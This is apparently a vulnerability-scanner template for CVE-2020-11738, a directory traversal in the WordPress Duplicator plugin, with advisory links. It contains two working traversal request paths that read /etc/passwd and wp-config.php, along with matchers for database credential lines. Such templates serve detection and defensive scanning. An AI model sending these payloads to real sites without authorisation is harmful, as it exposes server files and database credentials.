CVE-2020-11738: WordPress Duplicator plugin Directory Traversal

id: CVE-2020-11738

info:
  name: WordPress Duplicator plugin Directory Traversal
  author: dwisiswant0
  severity: high
  description: |-
    The issue is being actively exploited, and allows attackers
    to download arbitrary files, such as the wp-config.php file.
    According to the vendor, the vulnerability was only in two
    versions v1.3.24 and v1.3.26, the vulnerability wasn't
    present in versions 1.3.22 and before.
  reference:
    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
    - https://snapcreek.com/duplicator/docs/changelog/?lite
    - https://www.wordfence.com/blog/2020/02/active-attack-on-recently-patched-duplicator-plugin-vulnerability-affects-over-1-million-sites/
    - http://packetstormsecurity.com/files/160621/WordPress-Duplicator-1.3.26-Directory-Traversal-File-Read.html
    - https://www.cvedetails.com/cve/CVE-2020-11738
  tags: cve,cve2020,wordpress,duplicator,traversal
  created: 2023/08/17

rules:
  r0:
    request:
      method: GET
      path: /wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
    expression: response.status == 200 && response.raw_header.bcontains(b'application/octet-stream') && response.raw_header.bcontains(b'File Transfer') && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  r1:
    request:
      method: GET
      path: /wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php
    expression: response.status == 200 && response.raw_header.bcontains(b'application/octet-stream') && response.raw_header.bcontains(b'File Transfer') && "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'".bmatches(response.body)
expression: r0() || r1()

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